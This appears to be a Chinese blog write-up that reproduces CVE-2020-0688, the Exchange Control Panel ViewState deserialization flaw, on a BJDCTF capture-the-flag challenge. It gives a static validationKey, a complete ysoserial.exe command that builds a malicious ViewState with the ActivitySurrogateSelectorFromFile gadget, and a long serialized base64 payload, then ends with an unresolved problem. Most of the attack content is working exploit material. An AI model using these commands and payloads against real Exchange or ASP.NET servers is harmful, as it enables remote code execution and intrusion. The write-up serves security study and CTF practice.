CVE-2020-0688
CVE-2020-0688复现
复现过程
漏洞描述：攻击者向存在缺陷的Exchange服务器发送经过特殊处理的电子邮件即可触发漏洞。这个漏洞是由于Exchange服务器在安装时没有正确地创建唯一的加密密钥所造成的。
具体描述：与每次软件安装都会产生随机密钥不同，所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在Exchange Control Panel web应用上执行任意.net代码。
影响版本：exchange 2010、2013、2016、2019全版本通杀。
漏洞复现：
这次漏洞复现直接借由BJDCTF-2nd的EasyAspDotNet
1 | validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" |
首先要获取到这三个值
然后使用ysoserial.exe生成viewstate
1 | ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9 |
1 | /wEy7EoAAQAAAP////8BAAAAAAAAAAwCAAAATlN5c3RlbS5EYXRhLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQUBAAAAE1N5c3RlbS5EYXRhLkRhdGFTZXQKAAAAFkRhdGFTZXQuUmVtb3RpbmdGb3JtYXQTRGF0YVNldC5EYXRhU2V0TmFtZRFEYXRhU2V0Lk5hbWVzcGFjZQ5EYXRhU2V0LlByZWZpeBVEYXRhU2V0LkNhc2VTZW5zaXRpdmUSRGF0YVNldC5Mb2NhbGVMQ0lEGkRhdGFTZXQuRW5mb3JjZUNvbnN0cmFpbnRzGkRhdGFTZXQuRXh0ZW5kZWRQcm9wZXJ0aWVzFERhdGFTZXQuVGFibGVzLkNvdW50EERhdGFTZXQuVGFibGVzXzAEAQEBAAAAAgAHH1N5c3RlbS5EYXRhLlNlcmlhbGl6YXRpb25Gb3JtYXQCAAAAAQgBCAICAAAABf3///8fU3lzdGVtLkRhdGEuU2VyaWFsaXphdGlvbkZvcm1hdAEAAAAHdmFsdWVfXwAIAgAAAAEAAAAGBAAAAAAJBAAAAAkEAAAAAAkEAAAACgEAAAAJBQAAAA8FAAAAfCMAAAIAAQAAAP////8BAAAAAAAAAAQBAAAAf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgUAAAgICQIAAAAHAAAABwAAABACAAAACAAAAAkDAAAACQQAAAAJBQAAAAkGAAAACQcAAAAJCAAAAAkJAAAACgwKAAAAYVN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbCwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAwAAAGpTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwuU2VyaWFsaXphdGlvbi5BY3Rpdml0eVN1cnJvZ2F0ZVNlbGVjdG9yK09iamVjdFN1cnJvZ2F0ZStPYmplY3RTZXJpYWxpemVkUmVmAgAAAAR0eXBlC21lbWJlckRhdGFzAwUfU3lzdGVtLlVuaXR5U2VyaWFsaXphdGlvbkhvbGRlcgoAAAAJCwAAAAkMAAAAAQQAAAADAAAACQ0AAAAJDgAAAAEFAAAAAwAAAAkPAAAACRAAAAABBgAAAAMAAAAJEQAAAAkSAAAAAQcAAAADAAAACRMAAAAJFAAAAAEIAAAAAwAAAAkVAAAACRYAAAAECQAAABxTeXN0ZW0uQ29sbGVjdGlvbnMuSGFzaHRhYmxlBwAAAApMb2FkRmFjdG9yB1ZlcnNpb24IQ29tcGFyZXIQSGFzaENvZGVQcm92aWRlcghIYXNoU2l6ZQRLZXlzBlZhbHVlcwAAAwMABQULCBxTeXN0ZW0uQ29sbGVjdGlvbnMuSUNvbXBhcmVyJFN5c3RlbS5Db2xsZWN0aW9ucy5JSGFzaENvZGVQcm92aWRlcgjsUTg/AgAAAAoKAwAAAAkXAAAACRgAAAAECwAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBhkAAAD4AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RMaXN0SXRlcmF0b3JgMltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAYaAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAMAAAABwAAAAkbAAAACgkcAAAACR0AAAAICAAAAAAKCAgBAAAAAQ0AAAALAAAABh4AAAD4AVN5c3RlbS5MaW5xLkVudW1lcmFibGUrPFNlbGVjdE1hbnlJdGVyYXRvcj5kX18xN2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkaAAAAEA4AAAAJAAAACAj+////CggIAQAAAAoJAwAAAAoJIQAAAA0CAQ8AAAALAAAABiIAAADvAVN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkaAAAAEBAAAAAHAAAACQQAAAAKCSUAAAAKCAgAAAAACggIAQAAAAERAAAACwAAAAYmAAAAKVN5c3RlbS5XZWIuVUkuV2ViQ29udHJvbHMuUGFnZWREYXRhU291cmNlBAAAAAYnAAAATVN5c3RlbS5XZWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iMDNmNWY3ZjExZDUwYTNhEBIAAAAHAAAACQUAAAAICAAAAAAICAoAAAAIAQAIAQAIAQAICAAAAAABEwAAAAsAAAAGKQAAAClTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduLkRlc2lnbmVyVmVyYgQAAAAGKgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EBQAAAAFAAAADQIJKwAAAAgIAwAAAAkIAAAAARUAAAALAAAABi0AAAA0U3lzdGVtLlJ1bnRpbWUuUmVtb3RpbmcuQ2hhbm5lbHMuQWdncmVnYXRlRGljdGlvbmFyeQQAAAAGLgAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQFgAAAAEAAAAJBgAAABAXAAAAAgAAAAkHAAAACQcAAAAQGAAAAAIAAAAGMQAAAAAJMQAAAAQbAAAAf1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0DAAAABl9pdGVtcwVfc2l6ZQhfdmVyc2lvbgMAAA9TeXN0ZW0uQnl0ZVtdW10ICAkyAAAAAQAAAAEAAAAEHAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCTMAAAAJNAAAAAQdAAAAigFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDErRW51bWVyYXRvcltbU3lzdGVtLkJ5dGVbXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAABGxpc3QFaW5kZXgHdmVyc2lvbgdjdXJyZW50AwAAB39TeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCAgCCgAAAAAAAAAACgEhAAAAHAAAAAk1AAAACTYAAAABJQAAABwAAAAJNwAAAAk4AAAAASsAAAADAAAACTkAAAAJOgAAAAcyAAAAAQEAAAAEAAAABwIJOwAAAAoKCgQzAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdh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生成viewsate的exp
后话
遇到这个问题
有待解决